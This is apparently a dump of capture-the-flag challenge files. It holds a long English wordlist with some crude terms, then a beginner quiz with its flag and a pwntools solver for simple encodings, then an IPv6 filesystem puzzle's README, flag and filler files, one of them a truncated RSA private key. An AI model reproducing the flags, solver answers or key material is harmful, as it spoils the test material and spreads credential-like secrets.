metal metallic metallica metals meter meters method methodology methods metres metric metro metropolitan mexican mexico meyer mf mfg mg mh mhz mi mia miami mic mice michael michel michelle michigan micro microphone microsoft microwave mid middle midi midlands midnight midwest might mighty migration mike mil milan mild mile mileage miles milf milfhunter milfs military milk mill millennium miller million millions mills milton milwaukee mime min mind minds mine mineral minerals mines mini miniature minimal minimize minimum mining minister ministers ministries ministry minneapolis minnesota minolta minor minority mins mint minus minute minutes miracle mirror mirrors misc miscellaneous miss missed missile missing mission missions mississippi missouri mistake mistakes mistress mit mitchell mitsubishi mix mixed mixer mixing mixture mj ml mlb mls mm mn mo mobile mobiles mobility mod mode model modeling modelling models modem modems moderate moderator moderators modern modes modification modifications modified modify mods modular module modules moisture mold moldova molecular molecules mom moment moments momentum moms mon monaco monday monetary money mongolia monica monitor monitored monitoring monitors monkey mono monroe monster montana monte montgomery month monthly months montreal mood moon moore moral more moreover morgan morning morocco morris morrison mortality mortgage mortgages moscow moses moss most mostly motel motels mother motherboard mothers motion motivated motivation motor motorcycle motorcycles motorola motors mount mountain mountains mounted mounting mounts mouse mouth move moved movement movements movers moves movie movies moving mozambique mozilla mp mpeg mpegs mpg mph mr mrna mrs ms msg msgid msgstr msie msn mt mtv mu much mud mug multi multimedia multiple mumbai munich municipal municipality murder murphy murray muscle muscles museum museums music musical musician musicians muslim muslims must mustang mutual muze mv mw mx my myanmar myers myrtle myself mysimon myspace mysql mysterious mystery myth n na nail nails naked nam name named namely names namespace namibia nancy nano naples narrative narrow nasa nascar nasdaq nashville nasty nat nathan nation national nationally nations nationwide native nato natural naturally naturals nature naughty nav naval navigate navigation navigator navy nb nba nbc nc ncaa nd ne near nearby nearest nearly nebraska nec necessarily necessary necessity neck necklace need needed needle needs negative negotiation negotiations neighbor neighborhood neighbors neil neither nelson neo neon nepal nerve nervous nest nested net netherlands netscape network networking networks neural neutral nevada never nevertheless new newark newbie newcastle newer newest newfoundland newly newport news newscom newsletter newsletters newspaper newspapers newton next nextel nfl ng nh nhl nhs ni niagara nicaragua nice nicholas nick nickel nickname nicole niger nigeria night nightlife nightmare nights nike nikon nil nine nintendo nipple nipples nirvana nissan nitrogen nj nl nm nn no noble nobody node nodes noise nokia nominated nomination nominations non none nonprofit noon nor norfolk norm normal normally norman north northeast northern northwest norton norway norwegian nos nose not note notebook notebooks noted notes nothing notice noticed notices notification notifications notified notify notion notre nottingham nov nova novel novels novelty november now nowhere np nr ns nsw nt ntsc nu nuclear nude nudist nudity nuke null number numbers numeric numerical numerous nurse nursery nurses nursing nut nutrition nutritional nuts nutten nv nvidia nw ny nyc nylon nz o oak oakland oaks oasis ob obesity obituaries obj object objective objectives objects obligation obligations observation observations observe observed observer obtain obtained obtaining obvious obviously oc occasion occasional occasionally occasions occupation occupational occupations occupied occur occurred occurrence occurring occurs ocean oclc oct october odd odds oe oecd oem of off offense offensive offer offered offering offerings offers office officer officers offices official officially officials offline offset offshore often og oh ohio oil oils ok okay oklahoma ol old older oldest olive oliver olympic olympics olympus om omaha oman omega omissions on once one ones ongoing onion online only ons ontario onto oo ooo oops op open opened opening openings opens opera operate operated operates operating operation operational operations operator operators opinion opinions opponent opponents opportunities opportunity opposed opposite opposition opt optical optics optimal optimization optimize optimum option optional options or oracle oral orange orbit orchestra order ordered ordering orders ordinance ordinary oregon org organ organic organisation organisations organised organisms organization organizational organizations organize organized organizer organizing orgasm orgy oriental orientation oriented origin original originally origins orlando orleans os oscar ot other others otherwise ottawa ou ought our ours ourselves out outcome outcomes outdoor outdoors outer outlet outline outlined outlook output outputs outreach outside outsourcing outstanding oval oven over overall overcome overhead overnight overseas overview owen own owned owner owners ownership owns oxford oxide oxygen oz ozone p pa pac pace pacific pack package packages packaging packard packed packet packets packing packs pad pads page pages paid pain painful paint paintball painted painting paintings pair pairs pakistan pal palace pale palestine palestinian palm palmer pam pamela pan panama panasonic panel panels panic panties pants pantyhose paper paperback paperbacks papers papua par para parade paradise paragraph paragraphs paraguay parallel parameter parameters parcel parent parental parenting parents paris parish park parker parking parks parliament parliamentary part partial partially participant participants participate participated participating participation particle particles particular particularly parties partition partly partner partners partnership partnerships parts party pas paso pass passage passed passenger passengers passes passing passion passive passport password passwords past pasta paste pastor pat patch patches patent patents path pathology paths patient patients patio patricia patrick patrol pattern patterns paul pavilion paxil pay payable payday paying payment payments paypal payroll pays pb pc pci pcs pct pd pda pdas pdf pdt pe peace peaceful peak pearl peas pediatric pee peeing peer peers pen penalties penalty pencil pendant pending penetration penguin peninsula penis penn pennsylvania penny pens pension pensions pentium people peoples pepper per perceived percent percentage perception perfect perfectly perform performance performances performed performer performing performs perfume perhaps period periodic periodically periods peripheral peripherals perl permalink permanent permission permissions permit permits permitted perry persian persistent person personal personality personalized personally personals personnel persons perspective perspectives perth peru pest pet pete peter petersburg peterson petite petition petroleum pets pf pg pgp ph phantom pharmaceutical pharmaceuticals pharmacies pharmacology pharmacy phase phases phd phenomenon phentermine phi phil philadelphia philip philippines philips phillips philosophy phoenix phone phones photo photograph photographer photographers photographic photographs photography photos photoshop php phpbb phrase phrases phys physical physically physician physicians physics physiology pi piano pic pichunter pick picked picking picks pickup picnic pics picture pictures pie piece pieces pierce pierre pig pike pill pillow pills pilot pin pine ping pink pins pioneer pipe pipeline pipes pirates piss pissing pit pitch pittsburgh pix pixel pixels pizza pj pk pl place placed placement places placing plain plains plaintiff plan plane planes planet planets planned planner planners planning plans plant plants plasma plastic plastics plate plates platform platforms platinum play playback playboy played player players playing playlist plays playstation plaza plc pleasant please pleased pleasure pledge plenty plot plots plug plugin plugins plumbing plus plymouth pm pmc pmid pn po pocket pockets pod podcast podcasts poem poems poet poetry point pointed pointer pointing points pokemon poker poland polar pole police policies policy polish polished political politicians politics poll polls pollution polo poly polyester polymer polyphonic pond pontiac pool pools poor pop pope popular popularity population populations por porcelain pork porn porno porsche port portable portal porter portfolio portion portions portland portrait portraits ports portsmouth portugal portuguese pos pose posing position positioning positions positive possess possession possibilities possibility possible possibly post postage postal postcard postcards posted poster posters posting postings postposted posts pot potato potatoes potential potentially potter pottery poultry pound pounds pour poverty powder powell power powered powerful powerpoint powers powerseller pp ppc ppm pr practical practice practices practitioner practitioners prague prairie praise pray prayer prayers pre preceding precious precipitation precise precisely precision predict predicted prediction predictions prefer preference preferences preferred prefers prefix pregnancy pregnant preliminary premier premiere premises premium prep prepaid preparation prepare prepared preparing prerequisite prescribed prescription presence present presentation presentations presented presenting presently presents preservation preserve president presidential press pressed pressing pressure preston pretty prev prevent preventing prevention preview previews previous previously price priced prices pricing pride priest primarily primary prime prince princess princeton principal principle principles print printable printed printer printers printing prints prior priorities priority prison prisoner prisoners privacy private privilege privileges prix prize prizes pro probability probably probe problem problems proc procedure procedures proceed proceeding proceedings proceeds process processed processes processing processor processors procurement produce produced producer producers produces producing product production productions productive productivity products prof profession professional professionals professor profile profiles profit profits program programme programmer programmers programmes programming programs progress progressive prohibited project projected projection projector projectors projects prominent promise promised promises promising promo promote promoted promotes promoting promotion promotional promotions prompt promptly proof propecia proper properly properties property prophet proportion proposal proposals propose proposed proposition proprietary pros prospect prospective prospects prostate prostores prot protect protected protecting protection protective protein proteins protest protocol protocols prototype proud proudly prove proved proven provide provided providence provider providers provides providing province provinces provincial provision provisions proxy prozac ps psi psp pst psychiatry psychological psychology pt pts pty pub public publication publications publicity publicly publish published publisher publishers publishing pubmed pubs puerto pull pulled pulling pulse pump pumps punch punishment punk pupils puppy purchase purchased purchases purchasing pure purple purpose purposes purse pursuant pursue pursuit push pushed pushing pussy put puts putting puzzle puzzles pvc python q qatar qc qld qt qty quad qualification qualifications qualified qualify qualifying qualities quality quantitative quantities quantity quantum quarter quarterly quarters que quebec queen queens queensland queries query quest question questionnaire questions queue qui quick quickly quiet quilt quit quite quiz quizzes quotations quote quoted quotes r ra rabbit race races rachel racial racing rack racks radar radiation radical radio radios radius rage raid rail railroad railway rain rainbow raise raised raises raising raleigh rally ralph ram ran ranch rand random randy range rangers ranges ranging rank ranked ranking rankings ranks rap rape rapid rapidly rapids rare rarely rat rate rated rates rather rating ratings ratio rational ratios rats raw ray raymond rays rb rc rca rd re reach reached reaches reaching reaction reactions read reader readers readily reading readings reads ready real realistic reality realize realized really realm realtor realtors realty rear reason reasonable reasonably reasoning reasons rebate rebates rebecca rebel rebound rec recall receipt receive received receiver receivers receives receiving recent recently reception receptor receptors recipe recipes recipient recipients recognised recognition recognize recognized recommend recommendation recommendations recommended recommends reconstruction record recorded recorder recorders recording recordings records recover recovered recovery recreation recreational recruiting recruitment recycling red redeem redhead reduce reduced reduces reducing reduction reductions reed reef reel ref refer reference referenced references referral referrals referred referring refers refinance refine refined reflect reflected reflection reflections reflects reform reforms refresh refrigerator refugees refund refurbished refuse refused reg regard regarded regarding regardless regards reggae regime region regional regions register registered registrar registration registry regression regular regularly regulated regulation regulations regulatory rehab rehabilitation reid reject rejected rel relate related relates relating relation relations relationship relationships relative relatively relatives relax relaxation relay release released releases relevance relevant reliability reliable reliance relief religion religions religious reload relocation rely relying remain remainder remained remaining remains remark remarkable remarks remedies remedy remember remembered remind reminder remix remote removable removal remove removed removing renaissance render rendered rendering renew renewable renewal reno rent rental rentals rentcom rep repair repairs repeat repeated replace replaced replacement replacing replica replication replied replies reply report reported reporter reporters reporting reports repository represent representation representations representative representatives represented representing represents reprint reprints reproduce reproduced reproduction reproductive republic republican republicans reputation request requested requesting requests require required requirement requirements requires requiring res rescue research researcher researchers reseller reservation reservations reserve reserved reserves reservoir reset residence resident residential residents resist resistance resistant resolution resolutions resolve resolved resort resorts resource resources respect respected respective respectively respiratory respond responded respondent respondents responding response responses responsibilities responsibility responsible rest restaurant restaurants restoration restore restored restrict restricted restriction restrictions restructuring result resulted resulting results resume resumes retail retailer retailers retain retained retention retired retirement retreat retrieval retrieve retrieved retro return returned returning returns reunion reuters rev reveal revealed reveals revelation revenge revenue revenues reverse review reviewed reviewer reviewing reviews revised revision revisions revolution revolutionary reward rewards reynolds rf rfc rg rh rhode rhythm ri ribbon rica rice rich richard richards richardson richmond rick rico rid ride rider riders rides ridge riding right rights rim ring rings ringtone ringtones rio rip ripe rise rising risk risks river rivers riverside rj rl rm rn rna ro road roads rob robert roberts robertson robin robinson robot robots robust rochester rock rocket rocks rocky rod roger rogers roland role roles roll rolled roller rolling rolls rom roman romance romania romantic rome ron ronald roof room roommate roommates rooms root roots rope rosa rose roses ross roster rotary rotation rouge rough roughly roulette round rounds route router routers routes routine routines routing rover row rows roy royal royalty rp rpg rpm rr rrp rs rss rt ru rubber ruby rug rugby rugs rule ruled rules ruling run runner running runs runtime rural rush russell russia russian ruth rv rw rwanda rx ryan s sa sacramento sacred sacrifice sad saddam safari safe safely safer safety sage sagem said sail sailing saint saints sake salad salaries salary sale salem sales sally salmon salon salt salvador salvation sam samba same samoa sample samples sampling samsung samuel san sand sandra sandwich sandy sans santa sanyo sao sap sapphire sara sarah sas saskatchewan sat satellite satin satisfaction satisfactory satisfied satisfy saturday saturn sauce saudi savage savannah save saved saver saves saving savings saw say saying says sb sbjct sc scale scales scan scanned scanner scanners scanning scary scenario scenarios scene scenes scenic schedule scheduled schedules scheduling schema scheme schemes scholar scholars scholarship scholarships school schools sci science sciences scientific scientist scientists scoop scope score scored scores scoring scotia scotland scott scottish scout scratch screen screening screens screensaver screensavers screenshot screenshots screw script scripting scripts scroll scsi scuba sculpture sd se sea seafood seal sealed sean search searchcom searched searches searching seas season seasonal seasons seat seating seats seattle sec second secondary seconds secret secretariat secretary secrets section sections sector sectors secure secured securely securities security see seed seeds seeing seek seeker seekers seeking seeks seem seemed seems seen sees sega segment segments select selected selecting selection selections selective self sell seller sellers selling sells semester semi semiconductor seminar seminars sen senate senator senators send sender sending sends senegal senior seniors sense sensitive sensitivity sensor sensors sent sentence sentences seo sep separate separated separately separation sept september seq sequence sequences ser serbia serial series serious seriously serum serve served server servers serves service services serving session sessions set sets setting settings settle settled settlement setup seven seventh several severe sewing sex sexcam sexo sexual sexuality sexually sexy sf sg sh shade shades shadow shadows shaft shake shakespeare shakira shall shame shanghai shannon shape shaped shapes share shared shareholders shares shareware sharing shark sharon sharp shaved shaw she shed sheep sheer sheet sheets sheffield shelf shell shelter shemale shemales shepherd sheriff sherman shield shift shine ship shipment shipments shipped shipping ships shirt shirts shit shock shoe shoes shoot shooting shop shopper shoppercom shoppers shopping shoppingcom shops shopzilla shore short shortcuts shorter shortly shorts shot shots should shoulder show showcase showed shower showers showing shown shows showtimes shut shuttle si sic sick side sides sie siemens sierra sig sight sigma sign signal signals signature signatures signed significance significant significantly signing signs signup silence silent silicon silk silly silver sim similar similarly simon simple simplified simply simpson simpsons sims simulation simulations simultaneously sin since sing singapore singer singh singing single singles sink sip sir sister sisters sit site sitemap sites sitting situated situation situations six sixth size sized sizes sk skating ski skiing skill skilled skills skin skins skip skirt skirts sku sky skype sl slave sleep sleeping sleeps sleeve slide slides slideshow slight slightly slim slip slope slot slots slovak slovakia slovenia slow slowly slut sluts sm small smaller smart smell smile smilies smith smithsonian smoke smoking smooth sms smtp sn snake snap snapshot snow snowboard so soa soap soc soccer social societies society sociology socket socks sodium sofa soft softball software soil sol solar solaris sold soldier soldiers sole solely solid solo solomon solution solutions solve solved solving soma somalia some somebody somehow someone somerset something sometimes somewhat somewhere son song songs sonic sons sony soon soonest sophisticated sorry sort sorted sorts sought soul souls sound sounds soundtrack soup source sources south southampton southeast southern southwest soviet sox sp spa space spaces spain spam span spanish spank spanking sparc spare spas spatial speak speaker speakers speaking speaks spears spec special specialist specialists specialized specializing specially specials specialties specialty species specific specifically specification specifications specifics specified specifies specify specs spectacular spectrum speech speeches speed speeds spell spelling spencer spend spending spent sperm sphere spice spider spies spin spine spirit spirits spiritual spirituality split spoke spoken spokesman sponsor sponsored sponsors sponsorship sport sporting sports spot spotlight spots spouse spray spread spreading spring springer springfield springs sprint spy spyware sq sql squad square squirt squirting sr src sri ss ssl st stability stable stack stadium staff staffing stage stages stainless stakeholders stamp stamps stan stand standard standards standing standings stands stanford stanley star starring stars starsmerchant start started starter starting starts startup stat state stated statement statements states statewide static stating station stationery stations statistical statistics stats status statute statutes statutory stay stayed staying stays std ste steady steal steam steel steering stem step stephanie stephen steps stereo sterling steve steven stevens stewart stick sticker stickers sticks sticky still stock stockholm stockings stocks stolen stomach stone stones stood stop stopped stopping stops storage store stored stores stories storm story str straight strain strand strange stranger strap strategic strategies strategy stream streaming streams street streets strength strengthen strengthening strengths stress stretch strict strictly strike strikes striking string strings strip stripes strips stroke strong stronger strongly struck struct structural structure structured structures struggle stuart stuck stud student students studied studies studio studios study studying stuff stuffed stunning stupid style styles stylish stylus su sub subaru subcommittee subdivision subject subjects sublime sublimedirectory submission submissions submit submitted submitting subscribe subscriber subscribers subscription subscriptions subsection subsequent subsequently subsidiaries subsidiary substance substances substantial substantially substitute subtle suburban succeed success successful successfully such suck sucking sucks sudan sudden suddenly sue suffer suffered suffering sufficient sufficiently sugar suggest suggested suggesting suggestion suggestions suggests suicide suit suitable suite suited suites suits sullivan sum summaries summary summer summit sun sunday sunglasses sunny sunrise sunset sunshine super superb superintendent superior supervision supervisor supervisors supplement supplemental supplements supplied supplier suppliers supplies supply support supported supporters supporting supports suppose supposed supreme sur sure surely surf surface surfaces surfing surge surgeon surgeons surgery surgical surname surplus surprise surprised surprising surrey surround surrounded surrounding surveillance survey surveys survival survive survivor survivors susan suse suspect suspected suspended suspension sussex sustainability sustainable sustained suzuki sv sw swap sweden swedish sweet swift swim swimming swing swingers swiss switch switched switches switching switzerland sword sydney symantec symbol symbols sympathy symphony symposium symptoms sync syndicate syndication syndrome synopsis syntax synthesis synthetic syracuse syria sys system systematic systems t ta tab table tables tablet tablets tabs tackle tactics tag tagged tags tahoe tail taiwan take taken takes taking tale talent talented tales talk talked talking talks tall tamil tampa tan tank tanks tanzania tap tape tapes tar target targeted targets tariff task tasks taste tattoo taught tax taxation taxes taxi taylor tb tba tc tcp td te tea teach teacher teachers teaches teaching team teams tear tears tech technical technician technique techniques techno technological technologies technology techrepublic ted teddy tee teen teenage teens teeth tel telecharger telecom telecommunications telephone telephony telescope television televisions tell telling tells temp temperature temperatures template templates temple temporal temporarily temporary ten tenant tend tender tennessee tennis tension tent term terminal terminals termination terminology terms terrace terrain terrible territories territory terror terrorism terrorist terrorists terry test testament tested testimonials testimony testing tests tex texas text textbook textbooks textile textiles texts texture tf tft tgp th thai thailand than thank thanks thanksgiving that thats the theater theaters theatre thee theft thehun their them theme themes themselves then theology theorem theoretical theories theory therapeutic therapist therapy there thereafter thereby therefore thereof thermal thesaurus these thesis they thick thickness thin thing things think thinking thinkpad thinks third thirty this thomas thompson thomson thong thongs thorough thoroughly those thou though thought thoughts thousand thousands thread threaded threads threat threatened threatening threats three threesome threshold thriller throat through throughout throw throwing thrown throws thru thu thumb thumbnail thumbnails thumbs thumbzilla thunder thursday thus thy ti ticket tickets tide tie tied tier ties tiffany tiger tigers tight til tile tiles till tim timber time timeline timely timer times timing timothy tin tiny tion tions tip tips tire tired tires tissue tit titanium titans title titled titles tits titten tm tmp tn to tobacco tobago today todd toddler toe together toilet token tokyo told tolerance toll tom tomato tomatoes tommy tomorrow ton tone toner tones tongue tonight tons tony too took tool toolbar toolbox toolkit tools tooth top topic topics topless tops toronto torture toshiba total totally totals touch touched tough tour touring tourism tourist tournament tournaments tours toward towards tower towers town towns township toxic toy toyota toys tp tr trace track trackback trackbacks tracked tracker tracking tracks tract tractor tracy trade trademark trademarks trader trades trading tradition traditional traditions traffic tragedy trail trailer trailers trails train trained trainer trainers training trains tramadol trance tranny trans transaction transactions transcript transcription transcripts transexual transexuales transfer transferred transfers transform transformation transit transition translate translated translation translations translator transmission transmit transmitted transparency transparent transport transportation transsexual trap trash trauma travel traveler travelers traveling traveller travelling travels travesti travis tray treasure treasurer treasures treasury treat treated treating treatment treatments treaty tree trees trek trembl tremendous trend trends treo tri trial trials triangle tribal tribe tribes tribunal tribune tribute trick tricks tried tries trigger trim trinidad trinity trio trip tripadvisor triple trips triumph trivia troops tropical trouble troubleshooting trout troy truck trucks true truly trunk trust trusted trustee trustees trusts truth try trying ts tsunami tt tu tub tube tubes tucson tue tuesday tuition tulsa tumor tune tuner tunes tuning tunisia tunnel turbo turkey turkish turn turned turner turning turns turtle tutorial tutorials tv tvcom tvs twelve twenty twice twiki twin twinks twins twist twisted two tx ty tyler type types typical typically typing u uc uganda ugly uh ui uk ukraine ul ultimate ultimately ultra ultram um un una unable unauthorized unavailable uncertainty uncle und undefined under undergraduate underground underlying understand understanding understood undertake undertaken underwear undo une unemployment unexpected unfortunately uni unified uniform union unions uniprotkb unique unit united units unity univ universal universe universities university unix unknown unless unlike unlikely unlimited unlock unnecessary unsigned unsubscribe until untitled unto unusual unwrap up upc upcoming update updated updates updating upgrade upgrades upgrading upload uploaded upon upper ups upset upskirt upskirts ur urban urge urgent uri url urls uruguay urw us usa usage usb usc usd usda use used useful user username users uses usgs using usps usr usual usually ut utah utc utilities utility utilization utilize utils uv uw uzbekistan v va vacancies vacation vacations vaccine vacuum vagina val valentine valid validation validity valium valley valuable valuation value valued values valve valves vampire van vancouver vanilla var variable variables variance variation variations varied varies variety various vary varying vast vat vatican vault vb vbulletin vc vcr ve vector vegas vegetable vegetables vegetarian vegetation vehicle vehicles velocity velvet vendor vendors venezuela venice venture ventures venue venues ver verbal verde verification verified verify verizon vermont vernon verse version versions versus vertex vertical very verzeichnis vessel vessels veteran veterans veterinary vg vhs vi via viagra vibrator vibrators vic vice victim victims victor victoria victorian victory vid video videos vids vienna vietnam vietnamese view viewed viewer viewers viewing viewpicture views vii viii viking villa village villages villas vincent vintage vinyl violation violations violence violent violin vip viral virgin virginia virtual virtually virtue virus viruses visa visibility visible vision visit visited visiting visitor visitors visits vista visual vital vitamin vitamins vocabulary vocal vocals vocational voice voices void voip vol volkswagen volleyball volt voltage volume volumes voluntary volunteer volunteers volvo von vote voted voters votes voting voyeur voyeurweb voyuer vp vpn vs vsnet vt vulnerability vulnerable w wa wage wages wagner wagon wait waiting waiver wake wal wales walk walked walker walking walks wall wallace wallet wallpaper wallpapers walls walnut walt walter wan wang wanna want wanted wanting wants war warcraft ward ware warehouse warm warming warned warner warning warnings warrant warranties warranty warren warrior warriors wars was wash washer washing washington waste watch watched watches watching water waterproof waters watershed watson watt watts wav wave waves wax way wayne ways wb wc we weak wealth weapon weapons wear wearing weather web webcam webcams webcast weblog weblogs webmaster webmasters webpage webshots website websites webster wed wedding weddings wednesday weed week weekend weekends weekly weeks weight weighted weights weird welcome welding welfare well wellington wellness wells welsh wendy went were wesley west western westminster wet whale what whatever whats wheat wheel wheels when whenever where whereas wherever whether which while whilst white who whole wholesale whom whore whose why wi wichita wicked wide widely wider widescreen widespread width wife wifi wiki wikipedia wild wilderness wildlife wiley will william williams willing willow wilson win wind window windows winds windsor wine wines wing wings winner winners winning wins winston winter wire wired wireless wires wiring wisconsin wisdom wise wish wishes wishlist wit witch with withdrawal within without witness witnesses wives wizard wm wma wn wolf woman women womens won wonder wonderful wondering wood wooden woods wool worcester word wordpress words work worked worker workers workflow workforce working workout workplace works workshop workshops workstation world worldcat worlds worldsex worldwide worm worn worried worry worse worship worst worth worthy would wound wow wp wr wrap wrapped wrapping wrestling wright wrist write writer writers writes writing writings written wrong wrote ws wt wto wu wv ww www wx wy wyoming x xanax xbox xerox xhtml xi xl xml xnxx xp xx xxx y ya yacht yahoo yale yamaha yang yard yards yarn ye yea yeah year yearly years yeast yellow yemen yen yes yesterday yet yield yields yn yo yoga york yorkshire you young younger your yours yourself youth yr yrs yu yugoslavia yukon z za zambia zdnet zealand zen zero zimbabwe zinc zip zoloft zone zones zoning zoo zoom zoophilia zope zshops zu zum zus ================================================ FILE: misc/general_skills_quiz/challenge.yml ================================================ version: "0.1" id: general-skills-quiz name: General Skills Quiz category: misc description: | QUIZ TIME! Just answer the questions. Pretty easy right? Author: Crem connection_info: nc ${host} ${port} tags: - beginner flags: - DUCTF{you_aced_the_quiz!_have_a_gold_star_champion} ================================================ FILE: misc/general_skills_quiz/docker-compose.yml ================================================ version: "2" services: general_skills_quiz: build: . privileged: true ports: - "1337:1337" ================================================ FILE: misc/general_skills_quiz/solve.py ================================================ # /usr/bin/python3 import re, urllib.parse, base64, codecs from pwn import * HOST = "127.0.0.1" PORT = 1337 def extract_q(): print(r.recvuntil(":").decode('utf-8')) q = str(r.recvline().strip()) q_extracted = "".join(re.findall("'([^']*)'", q)) return q_extracted def answer_send(ans, n): answer = ans print("[+] Answer " + str(n) +": " + answer) r.sendline(answer) # Question 1 - Basic Maths r = remote(HOST, PORT) print(r.recvline().decode('utf-8')) # Sending \n to progress r.sendline() print(r.recvline().decode('utf-8')) print(r.recvline().decode('utf-8')) answer_send("2", 1) # Question 2 - Hex -> Base 10 answer_send(str(int(extract_q(), 0)), 2) # Question 3 - Hex -> ASCII answer_send(bytes.fromhex(extract_q()).decode('utf-8'), 3) # Question 4 - URL Encoded -> ASCII Symbols answer_send(urllib.parse.unquote(extract_q()), 4) # Question 5 - Base64 -> ASCII answer_send(base64.b64decode(extract_q()).decode('utf-8'), 5) # Question 6 - ASCII -> Base64 answer_send(base64.b64encode(str.encode(extract_q())).decode('utf-8'), 6) # Question 7 - ROT13 -> ASCII answer_send(codecs.encode(extract_q(), 'rot_13'), 7) # Question 8 - ASCII -> ROT13 answer_send(codecs.decode(extract_q(), 'rot_13'), 8) # Question 9 - Binary -> Base 10 answer_send(str(int(extract_q(),2)), 9) # Question 10 - Base10 -> Binary answer_send(bin(int(extract_q())), 10) # Question 11 - CTF Q print(r.recvuntil("?")) answer11 = "DUCTF" print("[+] Answer 11: " + answer11) r.sendline(answer11) print(r.recvall().decode('utf-8')) ================================================ FILE: misc/i_pee_fs/README.md ================================================ # i-pee fs **Category**: misc **Difficulty**: Easy - Medium **Author**: dot **Flavor Text**: _I'm currently working on a new project called i-pee fs, which can be hosted on your average run of the mill potato. Don't mash it too hard..._ ## Description This challenge involves burning a lot of IPv6 addresses. ## Writeup > will add a solve script. I haven't tried solving this one yet, but in theory it's possible. Each IPv6 address which is part of the prefix hosts a different number. When you hit the endpoint, it will send back a UDP packet with a 32-bit integer in ASCII. By iterating through IPv6 addresses, you should be able to see that the hidden message is in fact a FAT filesystem with some garbage files taking most of the space. There are also some rate limits applied too make the challenge more difficult, players wil only be able to request a maximum of 1024 numbers (4096 bytes) per minute per /56. The rate limiter will return -1 for the rest of the minute when it has been reached. Therefore, a player should use their knowledge of the filesystem in order to traverse it efficiently and find the file with the flag. I guess some competitors could get their hands on a /48 and use that to brute force as an unintended solution, but also the server might break if that happens... ## Setup This will be hosted on a separate box as it requires some special IPv6 configuration. 1. Compile the go. 2. Run generate.sh to generate the filesystem image 3. Add the IP to the loopback table `sudo ip -6 route add local ::/96 dev lo` 4. Start the challenge. ================================================ FILE: misc/i_pee_fs/challenge.yml ================================================ version: "0.1" id: i-pee-fs name: i-pee fs category: misc description: > I'm currently working on a new project called i-pee fs, which can be hosted on your average run of the mill potato. Don't mash it too hard... Author: dot connection_info: nc ${host} ${port} tags: - medium flags: - DUCTF{FAT32_0v3r_IPv16_q01KQYYS6a} ================================================ FILE: misc/i_pee_fs/src/.gitignore ================================================ main data ================================================ FILE: misc/i_pee_fs/src/dir/01 lol ================================================ Day 1: I don't know what I'm doing Day 2: This might become a little annoying. Day 3: Test. Day 4: Lol ================================================ FILE: misc/i_pee_fs/src/dir/03 owo whats this ================================================ Imagine reading a post, but over the course of it the quality seems to deteriorate and it gets wose an wose, where the swenetence stwucture and gwammer rewerts to a pwoint of uttew non swence, an u jus dont wanna wead it anymwore (o´ω`o) awd twa wol owdewl iws jus awfwul (´・ω・`);. bwt tw powost iwswnwt obwer nyet, it gwos own an own an own an own. uwu wanyaa stwop weadwing bwut uwu cwant stop wewding, uwu stwartd thwis awnd ur gwoing two fwinibsh it nowo mwattew wat! uwu hab mwoxie kwiddowo, bwut uwu wibl gwib ub sowon. i cwan wite wike dis fwor owors, swo dwont cwalengbe mii.. ================================================ FILE: misc/i_pee_fs/src/dir/04 story ================================================ "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum." ================================================ FILE: misc/i_pee_fs/src/dir/05 pkfire ================================================ -----BEGIN RSA PRIVATE KEY----- MIIJKAIBAAKCAgEA0dyXty/tawPXyC/W+6v9myLn66TGBHPTa25yDMNpYbT2PEVi 3JIBgVUhs39eGyVYTIQ5T4Ll0TKkyigGdk+PIliI+9WSuBnBeXjoO4tj97YJqxm7 yEPMlbv9wlBqASOWCAfVTvRCDwue7U9lCxdHC8/Q0ZAH4Is7ElIKKGMKusF+4/K4 wF7ajZXPaxizeBkcldCRTdHelsQf1+CDBdhQzf1h2NTxWiYH408yciDCjERMbjBn ovg0zaORasizOu+5FPxln5VkS+sMVATm9PJcNWChpdpAilnilFv7baGwnd3WOZuD jYOo8n68dP5ygU6lKMjqZ+3kTmUVztbJ6uRr3h5Zyv//hgIhGUG5tBJtHRtiLlFD KMlRCWLkDdgeZgBLdliO88uoCtk+d8Oq+XKstCBjOK/dEyGvLgFZ3MISqRo9ghl3 cks08ScknOvrjrz9yz/X9U7gqA98UX9xyWcw0bGGIKCtBJPpY5AjiA4u+KLHYzSH 85qGR+WIXBYGfoYc3p6oEqTkz0e+hLbUEzfPaNketLPZ/t94IwAPXPuyhpyZs9K5 R4LMtH+N0K447uppYgpAPp3mCTrRRM/V2X7xZJMRVBesI5BPx8eDBHgwoB5ztd7P YdGv0MYu0x/fo3sGuCDCXqSRVES5D1ItnyEQhAEgu+spunNc5VTD26zz/U8CAwEA AQKCAgArH7RBXWThF7IQndwEbUw4w8x6fKqAIbjxG4nuG32dKU1sByoQfyQ2CmNZ ejPBSkRBvO3168UD3u9D50OkriaQfTbw4Os8T3aVWoYGLleFgG+uLCSNO3lfz3iO pG2T/FcJIWrwxXqJku6+fxEZXVgpEjQry/gCaTnjQt55fBipVbeYabkTNqqca4tq y3GdnTNlia1CG30s5/JPLwBdhBzep1Gi9+b8ilIWoKCSGS9BGYvHHMU/FNfs5c6s 7b7+vmH+8PqE93Lbstoerb8z2FWgVlIBPb8DbwMDT390AMTFO9+YiN9YhhSCeA6L z/mBnsKLhfW9E4JVpan8jeCCFxwe8giCPIwoJzyjilz+1zahbL2tQtHL/Ij1RMYq Xd9koePva8LqRDlCgh7wL9SzPXg77ybLHiC5Fk0D2jOCnAJ60YDP7/HrNxcXxYDV W13ePy9OPWyeGjaNCbGWLrJbpHV+05o5aBRA6kGLNrXW+18Z9ZvrYTSLMymeDbcT ceIrIEz5dirc/0O/uubVAICgelUn02qVyjtnnlknC57txQp4v3aSQ5zYdwxzM6Rw bpPEfmJ6aY5KPZYI/C86yrQPpiu+NpctNCuFln9kIC7mgRa+8HzNGLJvC4ZLgejC aeartmuuHo2Wosol36YPj3MwGmFRgP96Cq1bEBRXXMCwK2whWQKCAQEA+LzMxk+J rzlTKitiW0VYmiNdtNE52tBtPI+WcIOuJvElZ04979Obhsc71z+iHSCB5lpr6u8G CgWQzqsyZU4iueLOVxC8P2ojLTXzYWSHt6rGyI1WPhiQJP2tHXsgd3ON3E7EoiBM 5Ya1q0qsGU8mtsDPRmiC6QjTkYfWQMnL7/nxfhBJAQ3/fKhKpi6R3dZ9aPs1xmVT 